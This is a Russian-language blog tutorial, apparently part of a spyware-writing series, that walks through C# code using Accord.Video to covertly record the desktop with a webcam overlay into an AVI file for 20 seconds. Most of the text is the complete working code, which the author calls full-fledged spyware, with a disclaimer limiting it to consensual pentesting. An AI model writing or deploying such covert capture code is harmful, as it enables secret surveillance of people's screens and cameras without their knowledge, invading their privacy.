Если у пользователя есть веб‑камера, значит, мы тоже можем ей воспользоваться. Однако здесь все чуточку сложнее чем в моем предыдущем примере со скрытой записью аудио.
Еще по теме: Как написать кейлоггер на C#
Скрытая запись с веб-камеры на C#
Снова есть варианты работы через DirectX:
Проблема в том, что в этих проектах многовато кода, а нам нужно относительно маленькое компактное решение. Поэтому прибегаем к помощи Accord.Video. Заодно добавим и запись экрана с веб‑камеры. Будет полноценная проктор‑программа!
Вся информация, методы и инструменты, описанные в данной статье, предназначены для обучения этичных хакеров (пентестеров). Использование представленной в статье информации для атак на частные лица или организации без их предварительного согласия является незаконным. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Код, конечно, все равно получился немаленьким, поэтому код на GitHub.
Стартовая функция выглядит вот так.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
private static VideoFileWriter writer; private static Bitmap videoFrame; private static Bitmap webcamFrame; private static readonly object videoFrameLock = new object(); private static readonly object webcamFrameLock = new object(); private static bool isRecording = true; static void Main() { Rectangle bounds = GetScreenBounds(); int width = bounds.Width; int height = bounds.Height; writer = new VideoFileWriter(); writer.Open("desktop_with_webcam.avi", width, height, 10, VideoCodec.MPEG4, 10000000); Thread screenThread = new Thread(() => CaptureDesktop(bounds)); screenThread.Start(); VideoCaptureDevice videoSource = StartWebCamCapture(); Thread.Sleep(20000); // Двадцать секунд для записи isRecording = false; videoSource.SignalToStop(); videoSource.WaitForStop(); screenThread.Join(); writer.Close(); Console.WriteLine("Recording finished."); } |
Сначала заводим несколько глобальных переменных (это все внутри класса Program, поэтому будет правильнее сказать статических). После чего получаем размеры всех мониторов, чтобы понять размеры виртуального экрана. Размеры получаем по уже описанному ранее алгоритму.
1 2 3 4 5 6 7 8 9 |
static Rectangle GetScreenBounds() { Rectangle bounds = Rectangle.Empty; foreach (Screen screen in Screen.AllScreens) { bounds = Rectangle.Union(bounds, screen.Bounds); } return bounds; } |
Затем инициализирую инстанс класса VideoFileWriter(). Параметры означают, что будет создан видеофайл desktop_with_webcam.avi размером, как у рабочей области экрана, будет делаться 10 кадров в секунду, с использованием кодека MPEG4 и битрейтом 10 000 000.
Следующим шагом стартует новый отдельный поток, в котором происходит захват изображения с рабочих столов.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
static void CaptureDesktop(Rectangle bounds) { while (isRecording) { Bitmap combinedFrame = null; lock (videoFrameLock) { // Создаем битмап с размерами, охватывающими все мониторы combinedFrame = new Bitmap(bounds.Width, bounds.Height); using (var g = Graphics.FromImage(combinedFrame)) { // Координаты начала захвата учитывают отрицательные координаты g.CopyFromScreen(bounds.Left, bounds.Top, 0, 0, bounds.Size); lock (webcamFrameLock) { if (webcamFrame != null) { // Положение для кадра веб-камеры int x = combinedFrame.Width - webcamFrame.Width - 10; int y = combinedFrame.Height - webcamFrame.Height - 10; g.DrawImage(webcamFrame, x, y, webcamFrame.Width, webcamFrame.Height); } } } } writer.WriteVideoFrame(combinedFrame); combinedFrame.Dispose(); Thread.Sleep(100); } } |
В основном потоке программы получаем видео с веб‑камеры. Обработка каждого получаемого кадра происходит в событии NewFrame, где текущий кадр клонируется и сохраняется в переменную webcamFrame. Клонирование нужно по той причине, что объект NewFrame как бы считается занятым, и если обратиться к нему, то вылезет исключение.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
static VideoCaptureDevice StartWebCamCapture() { FilterInfoCollection videoDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); if (videoDevices.Count == 0) throw new ApplicationException("No webcam found."); VideoCaptureDevice videoSource = new VideoCaptureDevice(videoDevices[0].MonikerString); videoSource.NewFrame += video_NewFrame; videoSource.Start(); return videoSource; } static void video_NewFrame(object sender, NewFrameEventArgs eventArgs) { lock (webcamFrameLock) { webcamFrame?.Dispose(); webcamFrame = (Bitmap)eventArgs.Frame.Clone(); } } |
Затем программа ждет 20 секунд, видео пишется, после чего потоки приостанавливаются, а полученная запись сохраняется в файл.
1 2 3 4 5 6 7 8 |
Thread.Sleep(20000); // Двадцать секунд для записи isRecording = false; videoSource.SignalToStop(); videoSource.WaitForStop(); screenThread.Join(); writer.Close(); Console.WriteLine("Recording finished."); } |
Запускаем — и в каталоге с программой видим заветный видеоролик!
Заключение
Не зря любая книжка по WinAPI для начинающих первым делом рассказывает о графике! И не зря в вузе столько времени показывали C# и механизм его работы. Совместив разрозненные знания, можно писать сложные и необычные штуки, в том числе полноценную спайварь. Главное — помните, что делаем мы это строго в целях обучения, а применять если и будем, то в рамках контракта с клиентом. Без этого распространение подобных программ может привести к печальным последствиям.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Создание бэкдора на Python
- Создание бота с помощью Python и Telegram
- Как запустить программу C и C++ на Kali Linux